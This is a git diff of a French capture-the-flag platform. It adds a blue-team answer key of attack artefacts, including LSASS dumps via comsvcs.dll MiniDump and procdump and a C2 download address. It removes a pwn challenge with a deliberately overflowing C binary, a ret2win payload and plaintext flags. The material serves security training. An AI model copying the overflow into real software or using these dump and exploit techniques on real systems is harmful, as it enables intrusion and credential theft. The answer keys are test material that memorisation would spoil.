diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/Flags.txt b/challenges/1-Blue-Team-Phishing-ELK-Sarah/Flags.txt new file mode 100644 index 0000000..f8f2613 --- /dev/null +++ b/challenges/1-Blue-Team-Phishing-ELK-Sarah/Flags.txt @@ -0,0 +1,50 @@ +Flag 1 — C2 (Initial Access / Command & Control) +Question : Quelle est l'adresse IP du serveur C2 contacté par le payload PowerShell ? +Flag : RootMeUp{185.243.115.23} +Trouvable : event 4688, PowerShell -Enc décodé (Base64) et boucle C2 DownloadString('http://185.243.115.23/...'). + +Flag 2 — Le dropper (Execution) +Question : Quel est le nom du script malveillant déposé et exécuté depuis le dossier AppData de la victime ? +Flag : RootMeUp{update.ps1} +Trouvable : event 4688, powershell.exe -ExecutionPolicy Bypass -File C:\Users\j.dupont\AppData\Roaming\update.ps1. + +Flag 3 — Le patient zéro (Compromised User) +Question : Quel compte utilisateur a exécuté le PowerShell encodé initial ? +Flag : RootMeUp{j.dupont} +Trouvable : champ user de l'event 4688 du PowerShell -Enc. + +Flag 4 — Reconnaissance AD (Discovery) +Question : Quel outil d'énumération Active Directory a été lancé, et avec quel nom de fichier de sortie ? +Flag : RootMeUp{SharpHound.exe:loot.zip} +Trouvable : event 4688, SharpHound.exe -c All --zipfilename loot.zip. + +Flag 5 — Vol de credentials sur la workstation (Credential Access) +Question : Quelle technique LOLBin a servi à dumper la mémoire de LSASS sur WIN-ACCT01 ? +Flag : RootMeUp{comsvcs.dll:MiniDump} +Trouvable : event 4688 rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 624 ...lsass.dmp, corrélé à l'event 10 (accès à lsass.exe). + +Flag 6 — Le pivot (Lateral Movement) +Question : Vers quel compte de service l'attaquant a-t-il pivoté pour accéder à APP-SRV01 ? +Flag : RootMeUp{svc_backup} +Trouvable : event 4648 (logon explicite target_user: svc_backup, target_host: APP-SRV01) suivi du 4624 de svc_backup sur APP-SRV01. + +Flag 7 — Second dump LSASS (Credential Access / serveur) +Question : Quel outil a été utilisé pour dumper LSASS sur APP-SRV01 ? +Flag : RootMeUp{procdump.exe} +Trouvable : event 4688 procdump.exe -accepteula -ma lsass.exe, corrélé à l'event 10 sur APP-SRV01. + +Flag 8 — DCSync (Credential Access / DC) +Question : Quel chiffrement de ticket Kerberos (valeur hex) trahit la requête anormale de svc_backup vers le service krbtgt ? +Flag : RootMeUp{0x12} +Trouvable : event 4769, user: svc_backup, service_name: krbtgt, ticket_encryption: 0x12 (AES256, anormal vs le 0x17/RC4 du reste du trafic). +(Alternative si tu préfères une IP : le client_ip de l'attaquant sur ces requêtes est 192.168.10.52 → RootMeUp{192.168.10.52}.) + +Flag 9 — Escalade de privilèges (Privilege Escalation) +Question : À quel groupe à privilèges l'attaquant a-t-il ajouté un membre depuis svc_backup ? +Flag : RootMeUp{Domain Admins} +Trouvable : event 4728, group_name: Domain Admins, user: svc_backup. + +Flag 10 — Persistance (Persistence) +Question : Quel compte a été créé sur le DC pour maintenir un accès furtif ? +Flag : RootMeUp{svc_update$} +Trouvable : event 4720 (new_account: svc_update) confirmé par le 4742 et le 5136 (ajout d'un SPN HOST/svc_update.corp.local) diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/GUIDE_DEPLOIEMENT.md b/challenges/1-Blue-Team-Phishing-ELK-Sarah/GUIDE_DEPLOIEMENT.md index b3683ab..689025c 100644 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/GUIDE_DEPLOIEMENT.md +++ b/challenges/1-Blue-Team-Phishing-ELK-Sarah/GUIDE_DEPLOIEMENT.md @@ -359,28 +359,6 @@ L'instance peut prendre 2-3 minutes à démarrer. > Accès : `http://100.X.X.X:` (visible après démarrage) ``` -### 4.3 Créer les 10 flags dans CTFd - -Créer **10 challenges séparés** (ou 10 flags sur le même challenge selon ta config CTFd). -Le plus propre est de faire **un challenge par flag** dans la même catégorie : - -| Challenge | Flag | Points | -|-----------|------|--------| -| FLAG 1 – IP du C2 | `FLAG{185.243.115.23}` | 50 | -| FLAG 2 – Commande PowerShell encodée | `FLAG{SQBFAFgA...}` | 100 | -| FLAG 3 – Script téléchargé | `FLAG{update.ps1}` | 100 | -| FLAG 4 – SHA256 outil énumération | `FLAG{9f86d08...}` | 150 | -| FLAG 5 – Technique MITRE dump LSASS | `FLAG{T1003.001}` | 150 | -| FLAG 6 – Compte pivot vers APP-SRV01 | `FLAG{svc_backup}` | 150 | -| FLAG 7 – Heure premier RDP APP-SRV01 | `FLAG{09:48:12}` | 200 | -| FLAG 8 – Type auth Kerberos DC | `FLAG{Kerberos_TGS}` | 250 | -| FLAG 9 – SID ajouté groupe privilégié | `FLAG{S-1-5-21-...}` | 300 | -| FLAG 10 – Compte persistant + SPN | `FLAG{svc_update$}` | 400 | - -> Pour FLAG 4 : les joueurs voient `SharpHound.exe` dans les logs -> et doivent **chercher eux-mêmes le SHA256 sur VirusTotal / GitHub**. -> Le hash n'apparaît **pas** dans les logs du challenge. - --- ## PARTIE 5 — Isolation des instances par équipe diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/.dockerignore b/challenges/1-Red-Team-Binary-Vault-Jakub/.dockerignore deleted file mode 100644 index 8e72eb0..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/.dockerignore +++ /dev/null @@ -1,6 +0,0 @@ -solution/ -docs/ -report/ -README.md -docker-compose.yml -*.md diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/.gitignore b/challenges/1-Red-Team-Binary-Vault-Jakub/.gitignore deleted file mode 100644 index 79e2095..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/.gitignore +++ /dev/null @@ -1,10 +0,0 @@ -# Secrets reels du challenge -- ne JAMAIS committer (voir challenge.env.example) -challenge.env - -# Artefacts generes au build -- ne pas committer. -secret.h -flag1.txt -flag2.txt -vault -*.o -__pycache__/ diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/Dockerfile b/challenges/1-Red-Team-Binary-Vault-Jakub/Dockerfile deleted file mode 100644 index 8d9cc03..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/Dockerfile +++ /dev/null @@ -1,41 +0,0 @@ -# VAULT-9 -- Red Team 3 (reverse + exploitation binaire) -# Build : le binaire est compile sans protections modernes (no PIE, -# no stack canary) pour rendre le ret2win faisable en intermediaire. -FROM debian:12-slim - -RUN apt-get update && \ - apt-get install -y --no-install-recommends \ - gcc libc6-dev socat python3 && \ - rm -rf /var/lib/apt/lists/* - -RUN useradd -m -s /usr/sbin/nologin ctf - -# Secrets fournis au build (priorite sur setup/challenge.env). Vides par -# defaut -> gen_secret.py utilise challenge.env ou des placeholders. -ARG LICENSE="" -ARG FLAG1="" -ARG FLAG2="" -ARG XOR_KEY="" - -WORKDIR /build -COPY challenge/vault.c ./vault.c -COPY setup/ ./setup/ - -# Genere secret.h + flags, compile, installe dans /challenge. -RUN LICENSE="$LICENSE" FLAG1="$FLAG1" FLAG2="$FLAG2" XOR_KEY="$XOR_KEY" \ - python3 setup/gen_secret.py && \ - gcc -fno-stack-protector -no-pie -fno-pie -O0 -w -o vault vault.c && \ - mkdir -p /challenge && \ - cp vault /challenge/vault && \ - cp flag1.txt flag2.txt /challenge/ && \ - chmod 0555 /challenge/vault && \ - chmod 0444 /challenge/flag1.txt /challenge/flag2.txt && \ - rm -rf /build - -COPY docker-entrypoint.sh /usr/local/bin/entrypoint.sh -RUN chmod +x /usr/local/bin/entrypoint.sh - -WORKDIR /challenge -EXPOSE 9003 -USER ctf -ENTRYPOINT ["/usr/local/bin/entrypoint.sh"] diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/README.md b/challenges/1-Red-Team-Binary-Vault-Jakub/README.md deleted file mode 100644 index 25d9fca..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/README.md +++ /dev/null @@ -1,60 +0,0 @@ -# 🔴 Red Team 3 — VAULT-9 (Reverse & Exploitation binaire) - -### Challenge Jakub — niveau intermédiaire - -Premier challenge de **pwn** de la plateforme RootMeUp : un binaire Linux à -rétro-ingénier puis à exploiter. Conçu pour combler l'écart entre les Blue Team -(accessibles) et les Red Team 1 & 2 (Linux/web). - -## 📌 Documentation - -- Guide joueur : [`docs/USER_GUIDE.md`](docs/USER_GUIDE.md) -- Guide admin / déploiement : [`docs/ADMIN_DEPLOYMENT.md`](docs/ADMIN_DEPLOYMENT.md) -- Solution (⚠️ spoilers) : [`solution/SOLUTION.md`](solution/SOLUTION.md) - -## 🎯 Résumé - -| | | -|---|---| -| Catégorie | Red Team — Reverse + Exploitation binaire | -| Difficulté | Intermédiaire | -| Flags | 2 (progressifs) | -| Accès | `nc ` (instance Docker par équipe) | -| Compétences | reverse (XOR), débordement de tampon, ret2win, pwntools | - -## 🧩 Déroulé - -1. **Reverse** — la console vérifie une licence obfusquée en XOR (`check_license`). Le joueur récupère la clé → **flag 1**. -2. **Exploitation** — le terminal de maintenance déborde `buf[64]` (lecture de 200 octets). Le joueur détourne l'exécution (`ret2win`) vers la fonction cachée `vault()` → **flag 2**. - -## 📁 Structure - -``` -3-Red-Team-Binary-Vault/ -├── README.md -├── Dockerfile ← build + service socat (port 9003) -├── docker-compose.yml ← test local -├── docker-entrypoint.sh -├── challenge/ -│ └── vault.c ← source du binaire (sans secret en clair) -├── setup/ -│ └── gen_secret.py ← génère secret.h + flags au build (⚠️ spoiler) -├── docs/ -│ ├── USER_GUIDE.md -│ └── ADMIN_DEPLOYMENT.md -├── solution/ -│ ├── SOLUTION.md ← ⚠️ spoilers -│ └── exploit.py ← exploit pwntools (testé) -└── report/ - └── report_template.md -``` - -## ⚙️ Build rapide - -```bash -docker compose up --build -d # écoute sur 9003 -nc 127.0.0.1 9003 -docker compose down -``` - -> Artefacts générés (`secret.h`, `flag*.txt`, `vault`) : ignorés par git, jamais committés. diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/challenge/vault.c b/challenges/1-Red-Team-Binary-Vault-Jakub/challenge/vault.c deleted file mode 100644 index 2b0aa86..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/challenge/vault.c +++ /dev/null @@ -1,98 +0,0 @@ -/* - * VAULT-9 :: Console d'administration - * Challenge Red Team 3 (intermediaire) - RootMeUp - * - * Deux etapes : - * 1. Reverse : contourner la verification de licence (obfusquee en XOR). - * 2. Exploitation : debordement de tampon (ret2win) vers vault(). - * - * secret.h est genere au build par setup/gen_secret.py : il contient - * la licence encodee en XOR (jamais le texte en clair) afin que `strings` - * sur le binaire distribue ne revele pas la solution. - */ -#include -#include -#include -#include -#include -#include "secret.h" /* LICENSE_ENC[], LICENSE_LEN, XOR_KEY */ - -char flag1[128]; -char flag2[128]; - -static void load_flag(const char *path, char *dst, size_t n) -{ - int fd = open(path, O_RDONLY); - if (fd < 0) { strncpy(dst, "FLAG_MANQUANT", n); dst[n - 1] = 0; return; } - ssize_t r = read(fd, dst, n - 1); - if (r < 0) r = 0; - dst[r] = 0; - char *nl = strchr(dst, '\n'); - if (nl) *nl = 0; - close(fd); -} - -static void setup(void) -{ - setvbuf(stdout, NULL, _IONBF, 0); - setvbuf(stdin, NULL, _IONBF, 0); - setvbuf(stderr, NULL, _IONBF, 0); - load_flag("/challenge/flag1.txt", flag1, sizeof(flag1)); - load_flag("/challenge/flag2.txt", flag2, sizeof(flag2)); -} - -/* Etape 2 : fonction "gagnante" jamais atteinte par le flux normal. */ -void vault(void) -{ - puts(""); - puts("[+] Coffre deverrouille -- acces au module memoire protege accorde."); - printf("[+] flag 2: %s\n", flag2); - fflush(stdout); - _exit(0); -} - -/* Etape 1 : la licence attendue est stockee XORee avec XOR_KEY. */ -static int check_license(const char *input) -{ - if (strlen(input) != LICENSE_LEN) - return 0; - for (size_t i = 0; i < LICENSE_LEN; i++) { - if ((unsigned char)(input[i] ^ XOR_KEY) != LICENSE_ENC[i]) - return 0; - } - return 1; -} - -/* Debordement volontaire : read() ecrit jusqu'a 200 octets dans buf[64]. */ -static void access_terminal(void) -{ - char buf[64]; - puts(""); - puts("=== Terminal de maintenance ==="); - printf("Commande > "); - read(0, buf, 200); - printf("Commande '%s' non reconnue.\n", buf); -} - -int main(void) -{ - setup(); - - char license[128]; - puts("========================================"); - puts(" VAULT-9 :: Console d'administration "); - puts("========================================"); - printf("Cle de licence > "); - if (!fgets(license, sizeof(license), stdin)) - return 0; - license[strcspn(license, "\r\n")] = 0; - - if (check_license(license)) { - puts("[+] Licence valide. Bienvenue, administrateur."); - printf("[+] Preuve d'acces (flag 1): %s\n", flag1); - access_terminal(); - } else { - puts("[-] Licence invalide. Acces refuse."); - } - return 0; -} diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/docker-compose.yml b/challenges/1-Red-Team-Binary-Vault-Jakub/docker-compose.yml deleted file mode 100644 index 311f9fa..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/docker-compose.yml +++ /dev/null @@ -1,17 +0,0 @@ -# Deploiement local pour tests. En production, le plugin -# CTFdDockerContainersPlugin gere l'allocation dynamique du port. -services: - vault: - build: - context: . - # Optionnel : surcharge les secrets via l'environnement du shell. - # Sinon, gen_secret.py lit setup/challenge.env (voir .env.example). - args: - LICENSE: ${LICENSE:-} - FLAG1: ${FLAG1:-} - FLAG2: ${FLAG2:-} - XOR_KEY: ${XOR_KEY:-} - container_name: rt3-vault - ports: - - "9003:9003" - restart: unless-stopped diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/docker-entrypoint.sh b/challenges/1-Red-Team-Binary-Vault-Jakub/docker-entrypoint.sh deleted file mode 100644 index 24156ce..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/docker-entrypoint.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/sh -# Sert le binaire vulnerable : une instance par connexion TCP. -set -e -PORT="${CHALLENGE_PORT:-9003}" -echo "[*] VAULT-9 en ecoute sur le port ${PORT}" -exec socat -T120 TCP-LISTEN:"${PORT}",reuseaddr,fork EXEC:"/challenge/vault",stderr diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/docs/ADMIN_DEPLOYMENT.md b/challenges/1-Red-Team-Binary-Vault-Jakub/docs/ADMIN_DEPLOYMENT.md deleted file mode 100644 index 9ad0496..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/docs/ADMIN_DEPLOYMENT.md +++ /dev/null @@ -1,114 +0,0 @@ -# Guide admin / déploiement — VAULT-9 (Red Team 3) - -## Résumé technique - -| Élément | Valeur | -|---|---| -| Type CTFd | Container (plugin CTFdDockerContainersPlugin) | -| Port interne | `9003` (TCP, servi par `socat`, une instance/connexion) | -| Fichier à joindre au challenge | le binaire **`vault`** (voir extraction ci-dessous) | -| Flags | 2 — voir `solution/SOLUTION.md` | -| Compilation | `-fno-stack-protector -no-pie -fno-pie -O0` | - -Les secrets (licence, flags) sont générés au build par `setup/gen_secret.py` et **ne sont pas embarqués** dans le binaire (lus depuis `/challenge/flag*.txt` au runtime). `strings vault` ne révèle donc rien. - -> ✅ **Validé bout-en-bout en conteneur Docker le 20/07/2026** : build OK, -> service accessible sur 9003, exploit `solution/exploit.py` récupère les 2 flags. - -## Fournir les flags (ne PAS les committer) - -Les vrais flags **ne sont plus stockés dans le dépôt**. Avant de builder, fournissez-les -par l'un des deux moyens (l'environnement a priorité sur le fichier) : - -**Option A — fichier `challenge.env` (recommandé)** -```bash -cd challenges/3-Red-Team-Binary-Vault/setup -cp challenge.env.example challenge.env -$EDITOR challenge.env # renseigner LICENSE, FLAG1, FLAG2 -``` -`challenge.env` est gitignoré : il ne partira jamais dans git. Il est inclus dans le -contexte de build et lu automatiquement par `gen_secret.py`. - -**Option B — build-args / variables d'environnement** -```bash -docker build -t rt3-vault \ - --build-arg LICENSE='...' --build-arg FLAG1='RM{...}' --build-arg FLAG2='RM{...}' . -# ou, avec docker-compose : export FLAG1=... FLAG2=... LICENSE=... puis docker-compose build -``` - -Si aucune source n'est fournie, le build **réussit quand même** mais avec des flags -**placeholders** (`RM{PLACEHOLDER_...}`) et un avertissement — utile pour un test à blanc, -inutilisable en prod. - -> ⚠️ **Rotation** : les flags d'origine ont été committés publiquement avant ce changement. -> Ils restent visibles dans l'historique git. Choisissez de **nouveaux flags** dans -> `challenge.env` (et mettez-les à jour dans CTFd) pour que les anciens deviennent inutiles. - -## Prérequis / pièges courants - -- **Compose v1 vs v2** : `docker compose` (avec espace) n'existe qu'avec le plugin v2. - Sur Kali/Debian, le paquet `docker-compose` (2.40.x) fournit la commande - **`docker-compose`** (avec tiret). Si `docker compose up --build` renvoie - `unknown flag: --build`, utilisez `docker-compose` ou la méthode build/run manuelle ci-dessous. -- **Droits Docker** : si le user n'est pas dans le groupe `docker`, préfixer chaque - commande par `sudo` (sinon `permission denied ... /var/run/docker.sock`). - -## Build & test local - -```bash -cd challenges/3-Red-Team-Binary-Vault -docker-compose up --build -d # ou : docker compose up --build -d (plugin v2) -# le service écoute sur le port 9003 -nc 127.0.0.1 9003 -``` - -Sans Compose (marche partout) : - -```bash -docker build -t rt3-vault . -docker run -d -p 9003:9003 --name rt3-vault rt3-vault -``` - -Test automatique de la solution : - -```bash -# extraire le binaire de l'image dans solution/, puis lancer l'exploit : -docker cp rt3-vault:/challenge/vault solution/vault -cd solution && python3 exploit.py 127.0.0.1 9003 -``` - -Arrêt : - -```bash -docker compose down -``` - -## Extraire le binaire à distribuer - -Le joueur doit télécharger le **même** binaire que celui déployé : - -```bash -docker compose up --build -d -docker cp rt3-vault:/challenge/vault ./vault -docker compose down -``` - -Joindre `./vault` comme fichier du challenge dans CTFd. **Ne jamais** joindre `flag1.txt`, `flag2.txt` ni `secret.h`. - -## Intégration CTFd (plugin conteneurs) - -1. Builder l'image sur l'hôte Docker de la VM (`docker build -t rt3-vault .`). -2. Dans CTFd → challenge de type **Container** : image `rt3-vault`, port interne **9003**. -3. Renseigner les 2 flags (sensibles à la casse), en points progressifs. -4. Joindre le binaire `vault` (fichier téléchargeable). -5. Tester le **Start Instance** avec un compte non-admin (IP + port dynamique alloués par le plugin). - -## Sécurité de déploiement - -- Le conteneur tourne en utilisateur non privilégié `ctf`, `nologin`. -- Le binaire est volontairement vulnérable **mais confiné au conteneur** : aucun accès hôte, pas de shell exposé (le ret2win n'offre qu'un `puts` du flag, pas de RCE arbitraire). -- `socat` limite chaque session (`-T120`, timeout 120 s) pour éviter les connexions pendantes. - -## Modifier les flags / la licence - -Éditer `setup/gen_secret.py` (constantes `LICENSE`, `XOR_KEY`, `FLAG1`, `FLAG2`) puis rebuilder. Penser à régénérer/rejoindre le binaire et à mettre à jour les flags dans CTFd. diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/docs/USER_GUIDE.md b/challenges/1-Red-Team-Binary-Vault-Jakub/docs/USER_GUIDE.md deleted file mode 100644 index d51b297..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/docs/USER_GUIDE.md +++ /dev/null @@ -1,45 +0,0 @@ -# 🔴 VAULT-9 — Guide du joueur - -**Catégorie :** Red Team — Reverse & Exploitation binaire -**Difficulté :** Intermédiaire -**Flags :** 2 (progressifs) - -## 📖 Contexte - -L'entreprise **Meridian Corp** protège son module mémoire sensible derrière une console d'administration maison, `VAULT-9`. Un binaire de cette console a fuité. Votre équipe doit démontrer qu'il est vulnérable : contourner sa licence, puis en prendre le contrôle pour ouvrir le coffre. - -## 🎯 Objectifs - -1. **Flag 1** — Contourner la vérification de licence du binaire. -2. **Flag 2** — Prendre le contrôle de l'exécution pour atteindre la routine qui ouvre le coffre. - -Format des flags : `RM{...}` (sensible à la casse). - -## 🔌 Accès - -1. Téléchargez le binaire **`vault`** fourni avec le challenge dans CTFd. -2. Démarrez l'instance (**Start Instance**) : vous obtenez une **IP** et un **port**. -3. Connectez-vous au service : - - ```bash - nc - ``` - -Le binaire téléchargé est **identique** à celui qui tourne sur l'instance : analysez-le en local, exploitez-le à distance. - -## 🧰 Outils suggérés - -- **Reverse** : `Ghidra`, `IDA Free`, `radare2`/`Cutter`, ou simplement `objdump -d vault`. -- **Exploitation** : `pwntools` (Python), `gdb` + `pwndbg`/`gef`. -- **Recon** : `file vault`, `checksec vault`, `strings vault`. - -## 🪜 Pistes (sans spoiler) - -- Étape 1 : commencez par `file` et `checksec`. Cherchez la fonction qui valide la licence. Quelle **opération** est appliquée à votre saisie avant la comparaison ? La donnée de référence est en clair dans le binaire… mais transformée. -- Étape 2 : une fois « administrateur », le terminal de maintenance lit votre entrée. Combien d'octets accepte-t-il vraiment vs la taille du tampon ? Existe-t-il une fonction **intéressante jamais appelée** ? - -## ✅ Validation - -Soumettez chaque flag dans CTFd. Le flag 1 se trouve dès l'accès administrateur ; le flag 2 nécessite de détourner l'exécution. - -Bon courage — et n'oubliez pas : *ne codez jamais un secret en dur.* 😉 diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/report/report_template.md b/challenges/1-Red-Team-Binary-Vault-Jakub/report/report_template.md deleted file mode 100644 index 2eb497e..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/report/report_template.md +++ /dev/null @@ -1,35 +0,0 @@ -# Rapport — VAULT-9 (Red Team 3) - -- **Équipe :** ______________________ -- **Date :** ______________________ - -## Reconnaissance - -- Sortie de `file vault` : ______________________ -- Sortie de `checksec vault` : ______________________ - -## Étape 1 — Reverse de la licence - -- Fonction identifiée : ______________________ -- Transformation appliquée à l'entrée : ______________________ -- Licence récupérée : ______________________ -- **Flag 1 :** ______________________ - -## Étape 2 — Exploitation - -- Fonction vulnérable : ______________________ -- Taille du tampon / octets lus : ______________________ -- Offset jusqu'à l'adresse de retour : ______________________ -- Fonction cible (ret2win) et son adresse : ______________________ -- Remarque sur l'alignement de pile : ______________________ -- **Flag 2 :** ______________________ - -## Exploit - -``` -(coller le script ou les commandes utilisées) -``` - -## Remédiation proposée - -- ______________________ (ex : canari de pile, PIE, ne pas coder de secret en dur, `read` borné) diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/setup/challenge.env.example b/challenges/1-Red-Team-Binary-Vault-Jakub/setup/challenge.env.example deleted file mode 100644 index d343ac8..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/setup/challenge.env.example +++ /dev/null @@ -1,22 +0,0 @@ -# ===================================================================== -# Modele de configuration des secrets du challenge VAULT-9. -# -# 1. Copiez ce fichier : cp challenge.env.example challenge.env -# 2. Renseignez les VRAIES valeurs dans challenge.env -# 3. challenge.env est gitignore : il ne sera jamais committe. -# -# Alternative : passer ces valeurs en --build-arg au docker build -# (les variables d'environnement ont priorite sur ce fichier). -# ===================================================================== - -# Licence attendue par l'etape reverse (etape 1) -LICENSE=exemple_a_changer - -# Flag de l'etape reverse (etape 1) -FLAG1=RM{exemple_flag_reverse_a_changer} - -# Flag de l'etape exploitation ret2win (etape 2) -FLAG2=RM{exemple_flag_pwn_a_changer} - -# Cle de XOR mono-octet (0x.. ou decimal). Non sensible, defaut 0x5c. -XOR_KEY=0x5c diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/setup/gen_secret.py b/challenges/1-Red-Team-Binary-Vault-Jakub/setup/gen_secret.py deleted file mode 100644 index cbc2575..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/setup/gen_secret.py +++ /dev/null @@ -1,93 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- -# ===================================================================== -# gen_secret.py -- generateur mainteneur (execute au build Docker) -# -# Genere secret.h (licence XORee) + flag1.txt / flag2.txt. -# -# Les valeurs sensibles (licence, flags) ne sont PLUS ecrites en dur ici : -# elles proviennent, par ordre de priorite, -# 1. des variables d'environnement (ex: passees en --build-arg), -# 2. du fichier `challenge.env` place a cote de ce script (gitignore), -# 3. a defaut, de placeholders inoffensifs (le build reussit mais les -# flags ne sont pas les vrais -> un avertissement est affiche). -# -# Voir challenge.env.example pour le modele a copier en challenge.env. -# ===================================================================== - -import os -import sys - -SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) -ENV_FILE = os.path.join(SCRIPT_DIR, "challenge.env") - -# Placeholders : PAS les vrais flags. Le build reste fonctionnel pour les -# tests, mais ces valeurs doivent etre remplacees via challenge.env / build-arg. -PLACEHOLDERS = { - "LICENSE": "CHANGEME_license_a_definir", - "FLAG1": "RM{PLACEHOLDER_definir_dans_challenge_env}", - "FLAG2": "RM{PLACEHOLDER_definir_dans_challenge_env}", - "XOR_KEY": "0x5c", -} - - -def load_env_file(path): - """Parse simple d'un fichier KEY=VALUE (lignes vides / # ignorees).""" - values = {} - if not os.path.isfile(path): - return values - with open(path, encoding="utf-8") as f: - for line in f: - line = line.strip() - if not line or line.startswith("#") or "=" not in line: - continue - key, _, val = line.partition("=") - values[key.strip()] = val.strip().strip('"').strip("'") - return values - - -def resolve(name, file_values): - """env var (non vide) > challenge.env > placeholder.""" - env = os.environ.get(name) - if env: - return env, "env" - if file_values.get(name): - return file_values[name], "challenge.env" - return PLACEHOLDERS[name], "placeholder" - - -def main(): - file_values = load_env_file(ENV_FILE) - - license_, s1 = resolve("LICENSE", file_values) - flag1, s2 = resolve("FLAG1", file_values) - flag2, s3 = resolve("FLAG2", file_values) - xor_raw, _ = resolve("XOR_KEY", file_values) - xor_key = int(xor_raw, 0) & 0xFF # accepte 0x.. ou decimal - - if "placeholder" in (s1, s2, s3): - print("[gen_secret] /!\\ ATTENTION : valeurs par defaut (placeholders) " - "utilisees. Definissez challenge.env ou passez les build-args " - "(LICENSE, FLAG1, FLAG2). Voir challenge.env.example.", - file=sys.stderr) - - enc = ", ".join(str(b ^ xor_key) for b in license_.encode()) - with open("secret.h", "w") as f: - f.write("#ifndef SECRET_H\n#define SECRET_H\n") - f.write("/* Genere par gen_secret.py -- ne pas editer a la main. */\n") - f.write(f"#define XOR_KEY 0x{xor_key:02x}\n") - f.write(f"#define LICENSE_LEN {len(license_)}\n") - f.write(f"static const unsigned char LICENSE_ENC[] = {{ {enc} }};\n") - f.write("#endif\n") - - with open("flag1.txt", "w") as f: - f.write(flag1 + "\n") - with open("flag2.txt", "w") as f: - f.write(flag2 + "\n") - - print(f"[gen_secret] secret.h + flags generes " - f"(licence:{s1}, flag1:{s2}, flag2:{s3}).") - - -if __name__ == "__main__": - main() diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/solution/SOLUTION.md b/challenges/1-Red-Team-Binary-Vault-Jakub/solution/SOLUTION.md deleted file mode 100644 index 2750c96..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/solution/SOLUTION.md +++ /dev/null @@ -1,71 +0,0 @@ -# Solution — VAULT-9 (Red Team 3) ⚠️ SPOILERS - -Challenge intermédiaire en deux étapes : **reverse** puis **exploitation binaire (ret2win)**. - -- **Flag 1** : `RM{r3v3rs3_l3_x0r_c0mm3_un_pr0}` -- **Flag 2** : `RM{r3t2w1n_l4_v4ult_3st_0uv3rt3}` - -Le binaire est compilé **sans canari de pile et sans PIE** (`-fno-stack-protector -no-pie`), ce qui rend le ret2win réalisable au niveau intermédiaire. - -``` -$ checksec vault - Arch: amd64 - RELRO: Partial - Stack: No canary found - NX: enabled - PIE: No PIE (0x400000) -``` - -## Étape 1 — Reverse de la licence - -En désassemblant `check_license()` (Ghidra, IDA, ou `objdump -d`), on voit : -- la longueur attendue est **16** ; -- chaque octet saisi est **XORé avec `0x5C`** puis comparé à un tableau constant `LICENSE_ENC` en `.rodata`. - -La licence est donc `LICENSE_ENC ^ 0x5C`. Récupération rapide : - -```python -enc = [41, 50, 48, 108, 63, 55, 3, 40, 52, 111, 3, 42, 104, 41, 48, 40] -print(bytes(b ^ 0x5C for b in enc).decode()) # -> unl0ck_th3_v4ult -``` - -En saisissant `unl0ck_th3_v4ult`, le programme affiche le **flag 1** et donne accès au « terminal de maintenance ». - -## Étape 2 — Débordement de tampon (ret2win) - -`access_terminal()` lit **200 octets** via `read()` dans `buf[64]` → débordement. - -Cartographie de la pile : - -``` -[ buf : 64 octets ] <- rbp-0x40 -[ rbp sauvegardé : 8 ] -[ adresse de retour : 8 ] <- cible -``` - -Offset jusqu'à l'adresse de retour = **64 + 8 = 72**. - -La fonction `vault()` (jamais appelée par le flux normal) affiche le flag 2. Il suffit de rediriger l'exécution vers elle. Un gadget `ret` est inséré avant l'adresse de `vault()` pour **réaligner la pile sur 16 octets** (sinon `movaps` dans `printf`/`puts` peut faire crasher). - -``` -payload = b"A"*72 + p64(ret_gadget) + p64(vault) -``` - -## Exploit automatisé - -`exploit.py` (pwntools) enchaîne les deux étapes : - -```bash -# récupérer le binaire distribué dans le dossier courant, puis : -python3 exploit.py -``` - -Sortie attendue : - -``` -[+] vault() @ 0x401334 -[+] Flag 1 : RM{r3v3rs3_l3_x0r_c0mm3_un_pr0} -[+] Flag 2 : RM{r3t2w1n_l4_v4ult_3st_0uv3rt3} -``` - -> Testé et validé le 20/07/2026, **en conteneur Docker** : build OK, chaîne complète fonctionnelle (offset 72, gadget `ret` pour l'alignement, ret2win vers `vault` @ `0x401334`). Les 2 flags sont récupérés par `exploit.py`. diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/solution/exploit.py b/challenges/1-Red-Team-Binary-Vault-Jakub/solution/exploit.py deleted file mode 100644 index 4e3d0d1..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/solution/exploit.py +++ /dev/null @@ -1,51 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- -# ===================================================================== -# Solution de reference -- VAULT-9 (Red Team 3) /!\ SPOILER -# -# Usage : -# python3 exploit.py -# (necessite le binaire ./vault dans le repertoire courant) -# -# Chaine : -# Etape 1 (reverse) : la licence est stockee XORee avec 0x5C. -# licence = LICENSE_ENC ^ 0x5C = 